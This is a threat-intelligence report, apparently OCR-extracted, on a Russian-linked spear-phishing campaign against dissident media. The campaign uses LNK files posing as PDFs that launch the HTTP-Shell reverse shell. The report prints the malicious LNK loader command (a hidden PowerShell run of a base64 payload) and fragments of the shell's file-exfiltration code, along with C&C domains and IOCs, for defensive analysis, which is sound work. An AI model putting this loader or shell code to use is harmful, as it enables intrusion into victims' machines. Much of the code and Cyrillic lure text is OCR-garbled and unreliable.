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The Bear and The Shell: New Campaign Against Russian
Opposition
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By Cluster25 Threat Intel Team
January 30, 2024

Cluster25 uncovered a newly initiated campaign likely associated with a Russian APT (Advanced Persistent
Threat) group. The spear-phishing messages employed in this campaign targeted entities that were openly critical
of the Russian government and aligned with Russian dissident movements, both within and beyond the nation's
borders.

The attack analyzed by Cluster25 employed a NASA-themed lure to deceive the victim to execute an open-
source multiplatform reverse shell named as HTTP-Shell. During the investigation, Cluster25 researchers
found many other artifacts related to attacks having the same TTPs and conducted in the same days, discovering
that the first note about this malicious campaign was made public by the Netherlands-based investigative
journalism group Bellingcat on X social network.

All of the analyzed attacks could be considered as belonging to the same campaign and related to the same
threat actor.

INSIGHTS

NASA-themed Attack

The first stage of the attack consists of a ZIP file (756bb560e21453ac09215cc9aae9dc1a) named
“NASA_Job_Offer(2).zip” which contains a single LNK file disguised as a PDF titled “Offer.pdf”
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(f2bc317ce04727cc99cfb6225e2a2802).

LNK TARGET

/c start /B findstr /R "CiRFcnJvckFjdGlvbl" Offer.pdf.Ink > "%tmp%\Temp.jpg" & start /B pOWERSHEIL -
windowstyle hidden -NoLogo -Noninteractive -NoProfile -ExecutionPolicy Bypass -c "
[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "%tmp%\Temp.jpg"))) |
POwWERSHEIL"

The PowerShell script searches for the string pattern "CiRFcnJvckFjdGlvbl" in the LNK file using the findstr utility,
then it redirects the output to a file named “Temp.jpg” in the % TEMP% directory and finally it executes the
resulting Base64-decoded PowerShell command.

if ($invokebd -like "
$file path = $invo

) $file_path
tent = Send-HttpRequest
coder -f $file_content.ToStrin

("$file path”, $file_content) 2> $null

f ($invokesd -like
$file_path = $invo
if ($file_path -notli )
$Fils ntent = ${R64Encoder -f "$file
$(Send-HttpRequest "$server/ File: $file_content™) 2> $null

if ($invoke6d -eq "exit” exit

hversion -gt 4 If ($invokesa) { $errorlog = %($commandx = pwn ("$invokes4 $redirec
If ($invoke6d) { $errorlog = %($commandx = pwn ("$invoke64") | Out-String) 2>&1 }
null $comm: I ut $error[®] | Out-String ; $param =
If ommandx) { $commandx = "HT he
$output6d % Encoder -t $commandx
$request2 = %(Send-HttpRequest "$server/

The executed Powershell script belongs to an open-source project calledHTTP-Shell, which is a Multiplatform
Reverse Shell working over HTTP. As stated on the official HTTP-Shell page, “the main goal of the tool is to
use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as possible to a
legitimate one”.

[!] Usage: HTTP-Server.py [PORT]

# Linux CLT

[!] Usage: ./HTTP-Client.sh -c [HOST:PORT] -s [SLEEP] (optional)

# Windows CLI

[!] Usage: _\HTTP-Client.psl -c [HOST:PORT] -s [SLEEP] (optional)

Among its capabilities, the shell is able to upload and download files, to auto-reconnect to the C&C, and to
move between directories. The command and control was chosen to appear as much as possible like a
legitimate PDF editing site to decrease the detection rate.

C&C
pdf-online[.Jtop
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Meanwhile, the following PDF lure regarding NASA “Reasonable Accommodations Procedures for Individuals
with Disabilities” is displayed to the victim.

| NODIS Library | Human Resources and Personnel(3000s) | Search |

NASA NPR 3713.1C
@ Procedural Effective Date: April 22, 2019
. Expiration Date: April 22, 2024
Requirements

COMPLIANCE IS MANDATORY FOR NASA EMPLOYEES

Reasonable Accommodations Procedures for Individuals with
Disabilities

Responsible Office: Office of Diversity and Equal Opportunity
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RELATED ATTACKS

While investigating the aforementioned attack, Cluster25 researchers discover additional campaigns that with
high probability are related to the same threat actor, since they all use the same kill chain with identical shortcut

icons.

Marne Type Size

i= 2023_Annual_Report.pdf Shortcut 2 KB
i= ayazpdf Shortcut 524 KB
;= fabrika-nakrutok-kak-vk-prevrashchaet-r...  Shortcut 504 KB
;= fakes_war_time.pdf Shortcut 340 KB
iz kak-pomilovannye-vagnerovoy-snova.pdf  Shortcut 786 KB
i= Offer.pdf Shortcut 162 KB

Moreover, some of them use a similar lure (like USAID-themed attack) and share the same C&C server.
First Lure

First seen: 2023-12-19

The first lure found is linked to USAID, the United States Agency for International Development, that is an
independent agency of the United States government primarily responsible for administering civilian foreign aid
and development assistance. This is the lure used in the phishing attack against Bellingcat, as stated in the
introduction. The lure was related to the 2023 Annual report of the US Agency. But the used PDF is actually a
document called “USAID Shooting guide”, a booklet on how to shoot better documenting photos for the Agency’s
interviews.
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AlD

HOM THE AMERICAN PEOFL

USAID Shooting guide

This sample employs the same command and control server of the NASA-themed attack.

C&C
pdf-online[.Jtop

Second Lure

First seen: 2023-12-19

The second lure used by the threat actor is an article originally posted by OcTtopoxHo Media, a media outlet

USAID

rcreates an em
olst 2 ols o crea

connection and |
ger

vers in the story

related to Ksenia Sobchak, a Russian socialite, television presenter, and businesswoman. She has been a vocal

critic of Russian President Vladimir Putin and has expressed support for democracy and human rights. The
article is about Ayaz Shabutdinov, a businessman and blogger who has been accused of fraud, in relation to his
educational company called Like and their business courses. Shabutdinov is being investigated by the police after

eight people filed complaints against him.

«MBbl HE TADAHTHPYEM, YTO Thl MOKellb
NPHIITH, HHYET0 He 1eJIATh H HA Te0s
CBAJATCH MHULTHOHBI. UHTepBLIO Asi3a
LIadyTaunosa u3 CU30

HHEH HHH

Texer: Anexceii Hoxoporon

B oxmaGpe npomue Grozepa u asmopa
Awsa [TaGymounosa GO30YOILIIE J20106HOE DEI0 110 CMABE O MOIEHNITECM6e. 3 HOROPA Axsa
apecmosan. Ha Hezo HAMUCATY SAKEIENUA GOCEMD YEIORER, KOMIODHIE YIGEPICATION. Ym0
OGYEHLE GHITABLTO Y HIX {IOKCILIE HAVEHTD6! HA COOAHUE YENEWHOZ0 GUTHECA Ut NOTYHEHIE
caepxoox000ey. Adeoxame: Lladymounoaa nepeda evy & CH3O sonpoce: «Ocmopocio
Median, auot nyGrusyes omeeme: GusHECMEN 4G MPEMENTUL CIENCMELN, UCTIYOS 1t
HeQOGpaICE aAMETEr, G MAKWE PAECKAT O MGM, KK Yempoen €20 0bpazosam et Gunec.

Bac oS BHESIOT B TOM, T Bt 0BMANLIBATH AOTCH — COLIABLIN Y HIX JOAHYIO HALEKTY
12 70, 410 01m MOryT GbrTh yenemtubinm Guinecm enanu, OOBUNNIOT H B TON, 10 KYPEL!
— «npopaka Bo3IYXAY, A He 0Gyuenne Guimecy. JleHCTEUTELIO AN BLI rApANTHPOBATH,
“T0 101 O6wIATENLIO A0GKIOTCR Yemexa nocHe Baum kypeon? OfacmiTe, mONeMy
Bl NPOrPAMMA — T0 06 HeHNE, A HE MHPoULIANCTED,

CHIE BRICIAANT CACAYHOLNM 06pasoM. [[0cIe OILITH KPCa Y Ue/IoBeKa NORRILCTCS.
AL COPBIG-MCHEAUKCP, KOTOPAL CONPOBOAIACT CIO B IICPHO OB YUCHHA, SATCM Y YE0BCKa

HORBIACTCH A0CTY K Gortee ten 200 " y B Bite 15 ypoxos
s wuaopa w3 200 mm 11s Gistieca.

Tlocsie npodopHeHTALII i BLIGOPA HIIIN YHaCTHIKY HAIMAUACTES TPeHEp. T AcHeTayiouuil
pCATPHIINATE b B TOl T HHIIC, 410 Y YHaCTHIKA, PO HecTRMii 0T6Op.
AONOMMHTELHOE OGYCHHE H ATTECTALIN H HMEIOMI] BLCee OGpaOBatIe

Tlowio sansTili € TPEHCpOM, YenoBeK Hoiyact foctyn & [T-niaropaic, rc Mu cobupacy
anamTHKY N0 10 octy ii. Ha 7oii ke [T-naatdopy
YHAUMIICH MOKCT JICHATS PACUCT PCHTABEILHOCTH, IOHHT-3KOHOMHKH, BECTH YHCT KIHCHTOR,
onpesensTs baxyasTeTIe, paccanme H Mioroc pyroc. Kpose Toro, cerh 40N0mmHICBHEC
MOV 10 YIPABICHII0, MAPKTHHTY, NPOAGAaN, HaiiMy moieii. [B pavkax o6yuctns]

npoxozT AMBE Kya e
npCANpHIINATE GO Bcil CTPANM, MOGEANTEAH P THHTOR 1 IPSHaHIbE JKenepTH. H
KOHCHHO #C, Y HAC ¢CTh B i SHAKOMCTE,

EIAUMOMOMOILIN H TaK jace.

U0 KaCaCTCA TapAHTHIL: MBI HE FAPANTHPYEM, 1O Thi MORCILE NPHITH, HYICTO HE ACAATh U Ha
Te3 cpasTes MHoNEL TYT KaK B AHEKAOTE 1po cnopran: «[ 0] HA3AL KyIIILIa A60HEMENT B
CHOPT3LL, NPOLICH YAE [0, 3 HHUETO HE HIMCHIIOCH. JlYMalo CXOTS B CIOPTIA, YSHATS, B
e Ac1on.

Cunraere a1 Bua 6GOCHOBAMILIV yTO.10BHOE HpecieOBaIe?

Sl yae e pas ronopin i eue pas noxsepy: «lait — mucninposanias Munietepernos
©06pasoBanms KoMnamus, ¢ akkpeauTaiet B MuHIHGPL 1 10 HeAaBHEro BpeMeHH
peamcHcTROM CKOIKORO, I3 KOTOPOro BLIL 10 cobeTReRHOMY Heanio. ¥ Hac Gonce 30
000 coBparbix na caiTe AOBOIBHLX YHICTHIKOR, 2 1610 OTKPATO N0 § 3aAICHIN
HCIOBOMLHLIX KaUCCTBOM OKA3AHHLIX YCAYT MOC

Hacko:IL0 MHE MIBECTHO, Ha >TOfi HEACIC POLIH apGHTPAAHBIC CY/Uhi C ABYMS 3 BOCEAI
as KOTOPEIC MLl BLUITPAIi, HOTOMY To €Y1 BT Ha CTOPOHY KOMITAHIH 1 HOCUMTT
YEXYTH OKAMMHLM B 07HOM 0Gheme. Eilie 01HO 4e10 GLUI0 PacCMOTPeHo & ceHTIGpE.

Jaiimre 5 Antcks H BGciiTe «CoCPGANK OTIMBLD) — Bbi YBILIATE THCSH NOACH, KOTOPLI
MO0 wT0-T0 e nonpasuThes. Teneps yronosnoe Aeto 3asozus? To ke camoe ¢
5 n Team ke i

ennen y mac,

KK L1 CHTAETE, HOWEMY IO, KOTOPBIE PANbUIE GL1H 1050.1bi1L:
a €10, — Npiss,

wourperno Haraina Kaanerparona (1o 3annaen o Kotopoit 3Gy
PeL), BAPYT PENIILIH, 'TO BLI WX 0GMAIY/I, i HANNCATH 3asBIeHIE?

This attack, along with the ones employing all the subsequent lures in this report, shares the same command

and control server.

C&C
api-gate[.]xyz

Third Lure

First seen: 2024-01-11
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The third lure is an article written by the media outlet The Bell. The founder of the project is Elizaveta
Osetinskaya, a Russian journalist and media manager, former editor-in-chief of RBC, the Russian version of
Forbes magazine and also the Vedomosti newspaper. Osetinskaya condemned the 2022 Russian invasion of

Ukraine, and then on April 1, 2022, she was declared foreign agent by the Russian Ministry of Justice. The
article speaks about how social media is being used to spread misinformation during the Israel-Hamas conflict.

Deiikn 0 Bp H, C pH3bI OT

Tesla n Netflix

€ waazon woiiie seacty Hspariens # XAMAC colceTh cHoma IpEBpaTILiich B TeaTp BOCHHLX
clicraudi 1 cepacu 1 oo, Hx ii

K y yIT+ i
AOK341 TIPOUICAUIAN HEACHY, MPAKTHYCCKI HCT.

7 oxtabps: na MAC K3ese. Cyers

onn wayT y .
Ha rpamte ¢ cextopow I'asa. 8 oxTaGps: ['a5a B OrHe — Ha BICO W3 OKI OHOFO I 1ONMOB

noscio1y nowapst, ssyuat sscTpes. B Tor e aens npeswient CIIA Jlxo Baiizen nommcusact

y¥a3 0 npezocramtcu Hpaiio ocioi nowout a $8 spa. H bce 51 aopoctity — ikt
Buzcoc 10 poan s Fana

oTpeaKTHpoBasLi pank ¢ deficprepKasit s ATAMPa, CHATIIE HOCIC OGS MECTHOTO
dyrGanoro kayGa, a yxas Baiiiena — oTpeaTuposanmiit i
npeaocTamic oo Yipanne wa 400 e

ibeKoro ki o

Tocse nauara soiiuss Hspaws u XAMAC CMU st sens

naxowr aces e — poruki
W cooBumenits, coBHpatoue MILLHONNIE OXBaT. BoT icpon:
. 2 Twitter, G sacuaTICHH HATCCTHIII,
nocezeniien
St Maitas Yonr, jica ¢ Maonos Mackow

npasooxpasieaci, pomik a X nocsoTpeit 12,7 s pas. Chavasa naardopua cro He
AL, @ TONKO HOMETILIA ComMUNty nofe — CoOBUICHHEN 0 TIOTEHILTLHO BBOIALUIX

Fourth Lure

First seen: 2024-01-12

Also the fourth lure is an article written by the media outlet The Bell. This article is about how the Russian
social network VK is used as a tool to spread political content towards Russians. Two years ago, VK

& 3a6ayacite nocrax. Ceifuac OPUTINATLHA] POAIK YMIEH, HO OCTAAHCE ro
nepesamTHC Bepei

B Poccin

Teppopieri [T —

 Iocr o6 opysan Vipauss, nocxoTpein 7 s pas,

+ HeckohKo MILLIHOHOR IPOGMOTPOR Cof] 3 KOTOpOM AKOB NICIATICHO, Kak
Hspan, cumac ek noapocrox e

HSpALILCIyI0, KaMEPHI 1 ChenouHas Koxaiza. HO a caom fene 310 Katpit
0 CLCMKH HIAICCTHHCKOTO KOPOTKOMCTPEAHOFO (BB,

Kpose Toro, epasy iociie ecTok Goenkon XAMAC na sy
rami pacnpoctpansTics ponuk [PHPYIOLIHE YBIKYaLII0 HIPAHALCKOTE APAHH 1
aaxsar e rencpaton.

B coucersx

 Hexotopt e Tow, Kak Goeit
XAMAC cOunact uspaimicxili BEpTOCT, Ha CAMOM ACE OKAIAIOCH KAIPAH 3 HIPH
Amma 3. Han droro Ky y Ponanay,
Koropoe Ha cauon anmen UM-2022 ¢

dyrommeron ikanaion - Ankow.

Ho nacronuiii Ky s bofia delikon A0CTHITa Ha 3Tof HEACAE nocc Biputea 5 Gonsie

Ams-Axin B Tasc (1OIPOGHO 0 ToM, 10 0 He HIBECTHO, Mt IHCa J1cch). 3a TpOICAICe BpNE

or P c sanyuernas ¢

reppiropin [, Ho XAMAC npoto:aact nactansars a Tow, 7o Gosiay atasosan

Hspann. Coucern ¢ nepsbix % sy navoum e, Hanpinicp, momssonares X,

y i pu» b cexrope [, 2

o Tow, ro y Hero cers nizco nonazanis «paxerss XAMAC  Gosnyy, no saren Teacsaan
concers, o omomer

K cayibe HosocTeil
XAMAC yrocpacauna, wro cpraas GomGapanponi cran cor ueaoves. [1poncpenix
ax o p ner, suaco c Gt
CHpoBoIpoRATH MaccoBse MpoTeCT B apabekon wirpe. Tlocae aroro riasa Manceruis: Maxaya
ABGac oTkasanes o1 BeTpe ¢ npenienom Jlxko Bajizcnow, a Hopaamis owenitza

ek 5o spes Bof
W HACHLCTBEHHOTO KONTENTa,

ii na 18 oxTaGps 10 curyaun 5 cextope Fasa.

nonoe. Ho noroka e
K TOT, T0 HABOHILT COLICETH Hoce 7 OKTAGPS, JCIIEPTH ciie He

e, Tlpw 370N OTaMwTS Belixi OT T0CTOBEPHOH MHBOPMAIHH CTATO HONTH HEBOTMOKHO.

X-Files

eiikon o bofine Hipais ¢ XAMAC Guno wnoro
HISPCILIN B HOBOE KINECTSO, YTHEDAIET HCCHCOBIT

it ke o1

10 OSINT, siucan Platformer.

Bansue ncero 32 bar ¢eiixon 0cTacTos ool KOHKpeTHOH coucer. Pets, RoHCwH0, 1po
X (Buamuns Twitter) Macka, Cpasy ocie Hasaia Honol nofnis sanaunise CMH wasain
e .

a craza cBopuuies MicHui u eiikos

ipyrx maardhopax, Ho 1a X oni
reopui sarosopos Maii Porums,

changed ownership and leadership, transitioning from Alisher Usmanov to Yuri Kovalchuk and Gazprom Media,

marketing a strategic shift in the company's objectives within the controlled environment of the Russian internet

(RuNet).

®adpuka nakpyrok. Kak VK npespamaer
PYHET B TeJIEBH30P € IIOMOILI0 KOMHKOB,
TposLieii u f10repos

25 nexabp 2023
Herounus:

The Bell

Basepus Hossianiox
v.pozychanyuk@thebellio
Crcrnana Peiitcp
reiter@meduza.io

Upusia Mankparosa
Lpankratova@thebell.io

Anpeii lepues
HACTOSILLMIT MATEPHAJT (MHOOPMALHST) TIPOM3BEJIEH 1 PACTIPOCTPAHEH

MHOCTPAHHBIM ATEHTOM THE BELL JIMEO KACAETCS IESITEJIBHOCTH
HMHOCTPAHHOIO ATEHTA THE BELL. 18+

Jiga rosa sasay VK cvenina " Buecro Amepa
VeManoBa e BIAICARIAMH Crany pyT npesuicnTa IOpHii Kosankuyx i « T asnipos-weman.
KpCciio reiampexTopa cpasy Nociic GACIKH SANAT Chit 5aMIaBl A7MUHICTPALIHI IPCSHICHTa

Cepres Kupitciio Baaaumup. C 1ex nop VK npespariacs ws IT-somMnanish ¢ coucerssit,
MIpOBLIM GI3HECOM, TAKCH  loCTaBKOl e1i B «ITepuuii kanan B widpey. [nanuas 3aaua
KOMIAHIEH TENICPE — 3ACTABHTL POCCHAH NPOBO/MTS B CEOHX COUCCTSX Kak MOKHO Gombiiic
BPCMCHH H CAICIATh Tak, WI0GEI TaM OHH HAXO/IAIH TOIKO OMHTHHCCKH BHIBCPCHHELT KOHTCHT.
PaccKA3LIBIEM, UTO HPOHCKOHT B CAMOIl 3aKPLITOIi KOMIAHUH PYHET

Fifth Lure

First seen: 2024-01-12

«Yro y Tedn Tam npoucxoaut? Teoii akTHB — TaK
pazbepucb»

K nrepricty 5 mcio ropasio Goiice rayokoe oTHOUCHIE, UeM ThL. 51 €r0 HE HOMKIYIO, 3 €T
passibaion — 31y $pasy, crasiuyio Mesow, 5 2017 rody HPOHSHEC MILLIHAPASP H OCHOBHOT
nazienen VK (6usmas Mail.ru Group) Amuep Vemanos, ofpamascs k Fiassomy
onnoswuoncpy crpanni Anckceio Hasanssony. Po BICH MOUHOHA LA YCMaHOR
narsuinan HaBa1LHOO CBPYHOMY I «1YSCPOM if FOBOPILI, YT CaM OH, & OTIHNHE OT NIOTHTHK,
@KILBET B CUACTLEN.

Bujieo 3axanumBatocs ciosami «Thdy Ha TeOn, Aexceii HaBaibHuLi» 1t TyT e pasouwioch Ha
wirarrat, Tlosotom s crano WEK «Ou saw ne o, 5
Vewanona Gbiia oTAcALHAR riasa. B Hell yTBCPAAaIOCk, 10 oI OAHORYpEHiEa
IOy HILT OT OJLHTapXa ABOpell Ha PyGieske. OGiuR0 repon paccieosatisii OBK e
(CHTHpOBATE OGBMHCHHS B KOPPYILIH B CBOI apec. UTo sacTasiio

0 Venanona npamo Ha sxte Ha 7 iPhong Plus sancusar, Hasarsaomy uesioe
BHAcoGpaLiicHie — GLLIO HeAcko,

Bee zen0 B Tou, 1o «On raw e lnony, nabpasusii 3a neaemo s YouTube oxozo 7 sean
POCMOTPOB, ABHPYCIIC He TOILKO Ha 3o rLiomaake. B concerax VK, kotopyio

KoHIpOaHpoBaT caM Yemanos, y diisya H: Tome o3 P
PACCKALIBACT 03K 13 GIBLIMX COTPY/UHKoB IT-KoMmanus. Kpews GELE B SPOCTH, KOMIGHIH
n c i a Yewaron peuini e Totsxo

nOzaTh B GyA, Ho W 0 s oTser Hapanbhosy

IMoc/ie BLIX01 Pacerie o BAHKS NPOTECTHEIE Ak «O Bavt He J{iMom npouww nowr & 100
ropozax c1pans. A Kpewas no-cepheanony snica a «BKonaxter  «Ooxaacchitcon. Y
o 3a cotceTn VK nonsitincs “aTH, B KOTOPHIX
‘COTPYAHMKH BAMHHHCTPALIH NPCIHICHTA PA3ABAIN SAAYH 110 IPOABILACHIIO HYEHOTO
KOHTCHTA, 3 BCKOPE HAUALI CRYCKATS M CaM KOHTCHT. «CHAUATA POMKH, KOTOPLIC HaM
npssocim, Gauan fosoasio kpimoss. Ho co spevenic KaueeTso poco, a pafora neraza
13 HOTOK», — PACCKIMBACT PAGOTABIII b KOMIGHHI B TO BPENA COBECCAHIEK.

Hanpinep, 8 Tou e 2017 rozy 5o «BKORTaKTen it «OJHOKIACCHHKA) CTAIN NOSBINTLCE
‘posmki o Hassaniey «On saw rie Jlexan, s kotopow Ocran Benaep ¢ miom Hasanssor
COGHPACT ZICHBH «C 10BCPYHBLIX IPaaIy, exiawibic nocTs! ¢ Hanans s  Buiconapesis
107 3aro08kom «HaBATLHOMY HYKHL BalllH ACHErI. A Meped nuibopav 2018 rofa cuie
o1 repoen: coueereli cTan kar QAT & npesient [Tanex Mpy i, B noctax npo sero
yEBCpa@I0Ck, T0 pyY/IHHIA (BPCTH H CKDMBACT MHOCTPAHHMC CUCTa. 31043 (MOUHTE
Tpyammian crosia octpo, 10T e HCTOUHHK cotHi, con He
THICRUH CMHIL KOHTCHTA — IOCTSI, POMMKH, MeMbl. OHH IPOBUTATNCE HA LEACBYI0
Y/LHTOPHIO NIOHTHES — TOGH YCIOBCK Pa3 32 PI30M BHACA IOCTH NIPO 10, 110 , [ DYt
50", H Y HETO CKIAIWBAIOCh OLIYLICHHE, 4TO ITO PABA, NOTOMY 4TO 05 TOM [OBOPAT BCO.
Jas J— Aasc 3p Biaco © Cp—
HOTHTHKS, HO TAKOE B CONCETAX NPO{BMIATS BCe-Taki oTkamBanmch. «Toraa nes All nocinact
¢ Tpy/BMHHHAIN — 9TO GELTA 1yTE 1 HC CAMHCTECHHAS TEM2, KOTOPAX IX O1HO BPCMS

Apyrofi cob ii B T0 BpeNS B XL

Ho npocto nposurats, iyskusii KoTenT okasanocs neAocTatouno. Tlpi Texuokpare Cepree
KHPHEHKo FIaBHOR MCTPHKOH a/1MHHHCTPAIINH IPC3HICHTS, KOTOPOH HAtAM MEpSTh Bee, 4TO
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https://thebell.io/feyki-voennogo-vremeni-syurprizy-ot-tesla-i-netflix-i-kak-obezopasit-svoi-google-docs
https://thebell.io/amp/fabrika-nakrutok-kak-vk-prevrashchaet-runet-v-televizor-s-pomoshchyu-komikov-trolley-i-blogerov

The fifth lure is an article shared by Verstka, a socio-political publication launched on April 26th 2022 as a
response to the Russian censorship of the media after the start of the Ukraine war. This outlet is led by
independent journalists. The article used as a lure is about how some pardoned Wagner Group fighters have
continued to commit crimes after returning to Russia. It discusses the number and the types of crimes they have
committed and the sentences they have received, being strongly critical to the paramilitary organization.

Haxwve yronosHele aena sasenm
Ha NMOMUIOBAHHBIX BArHEPOBLIEB
B 2023 roay

Kpaxa/rpa6ex/pas6oii
Hapywerue NAA
HapKkoTuueckve npectynnenus
Y6uiicTao/nonbiTka y6uiicTaa
TAXKWIA BPe/ 340POBLIO

Yrow

Ockop6nenvie/HanapeHie
Ha npeAcTaBuUTeNs BnacT

MolueHHWecTBO

WUsHacunosanve/
HacWNbCTBEHHbIE ACTCTBNS

Moxuenme

BEPCTHA

VICTIMOLOGY

As mentioned in the introduction, the spear-phishing emails were directed at organizations that were critical of
the Russian government and supported Russian dissident movements, both within and outside of
Russia. Some of the lures used in the attacks originated from media sources associated within the Russian
independent media sphere. It is worth noting that the first public disclosure of this campaign came from the
Netherlands-based investigative journalism group Bellingcat. They were the first to publish a post on X
detailing information about the attack.

In accordance with Cluster25 telemetry and visibility, activities associated with this campaign have been observed
in various countries worldwide, including Portugal, the USA, and Israel (as reported in the next figure).
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https://verstka.media/kak-pomilovannye-vagnerovcy-snova-sovershayut-prestupleniya-no-ne-vsegda-vozvraschayutsia-v-tyurmu

Portugal

15 activities \

8 activities

Turkey

1 activity

Mexico
1 activity

Israel
6 activities

Sluster25

ATTRIBUTION

During Cluster25 research, it was noted that the domain used in the attack against Bellingcat usaid[.]Jpm resolves
an IP address (80.78.26[.]183) that is related to a Sliver beacon of late September 2022.

Sliver, like HTTP-Shell, is an open-source tool for adversary emulation. So, it is possible that these
infrastructures and tools are related to the same threat actor.

The same IP address was associated with other two domains resembling phishing pages and resulting active in
the same days as usaid[.Jpm, from December 18th to 22th:

* nasa[.]Jnetwork probably related to the Nasa-themed attack previously described;
¢ zdg[.]Jre probably used by the attacker to simulate Ziarul de Garda (zdg.md), an independent investigative
weekly newspaper in the Republic of Moldova.

Considering the techniques employed during the various observed attacks and the themes used in crafting digital
lures, it is highly plausible that the campaign is linked to an advanced group operating on behalf of the Russian
government against dissident movements both inside and outside of Russia.

MITRE ATT&CK MATRIX
TACTIC TECHNIQUE DESCRIPTION
Resource Development T1583.001  Acquire Infrastructure Domains
Initial Access T1566.001 Phishing: Spearphishing Attachment
Execution T1059.001 Command and Scripting Interpreter: PowerShell
Execution T1204.002 User Execution: Malicious File
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https://github.com/BishopFox/sliver

Defense Evasion T1140

Defense Evasion T1036
Defense Evasion T1027
Command and Control T1105
Command and Control T1071.001
Exfiltration

Deobfuscate/Decode Files or Information
Masquerading

Obfuscated Files or Information

Ingress Tool Transfer

Application Layer Protocol: Web Protocols
T1041 Exfiltration Over C2 Channel

INDICATORS OF COMPROMISE

CATEGORY TYPE VALUE

EIRPOPPER SHA256 e058bc966a436982aef3b2cbc78a380be324e80fd0789716d0c069dd441d9a48
éIRPOPPER SHA256 506a64c619580bc91a51bde3a3c3f5aced3ed1106413ac11a721¢c56817b04573
SIIEOPPER SHA256 c3faaa3ab6b0831f1d3974fcee80588812ca7afeb53cc173e0b83bcb6787fa13e
SIRPOPPER SHA256 9341cd36d012f03d8829234a12b9ff4e0045cb233e86127ef322dc1c2bb0b585
A oppER SHA256 61edbae96a0e64d6sia57idc0fcAf4ab6di61436a383b8edea2a30d9coc2adde
SIRPOPPER SHA256 36¢7b7eb073a72ca37bab88b242cdadfc3cd5da7b4f714004bc63cdcee331970
If)hll?}éPPER SHA256 f080eec275f07aec6b7a617e215d034e67e011184e1de5b2e71e441a6dd8027f
Ilar\IgéPPER SHA256 114935488cc5f5d1664dbc4c305d97a7d356b0f6d823€282978792045f1c7ddb
IISI\IQ<OPPER SHA256 5fa3d13366348e7c999ccalalb6ed4d2f5ec7f518aca3b36f0366ecedbasf2b057
IIZ_)I\IIQ%PPER SHA256 a5270b4e69f042fd7232b2bfc529¢c72416a8867b282b197f4aea1045fd327921
E[\IIQKOPPER SHA256 975c¢708b22b084d4b0d503b4c8129d1ffee057a0636b1beed59c448dd76bbad1
DROP- .

POINT DOMAIN usaid[.Jpm

DROP-

POINT DOMAIN nasa[.]Jnetwork

DROP-

POINT DOMAIN zdgl[.]re

DROP-

POINT DOMAIN news4youl.]top

C&C DOMAIN pdf-online[.]Jtop

C&C DOMAIN api-gate[.]xyz

C&C URL http://pdf-online[.]top/api/v1/Client/Info

C&C URL http://pdf-online[.]Jtop/api/v1/Client/Token

C&C URL http://pdf-online[.]Jtop/api/v1/Client/Debug
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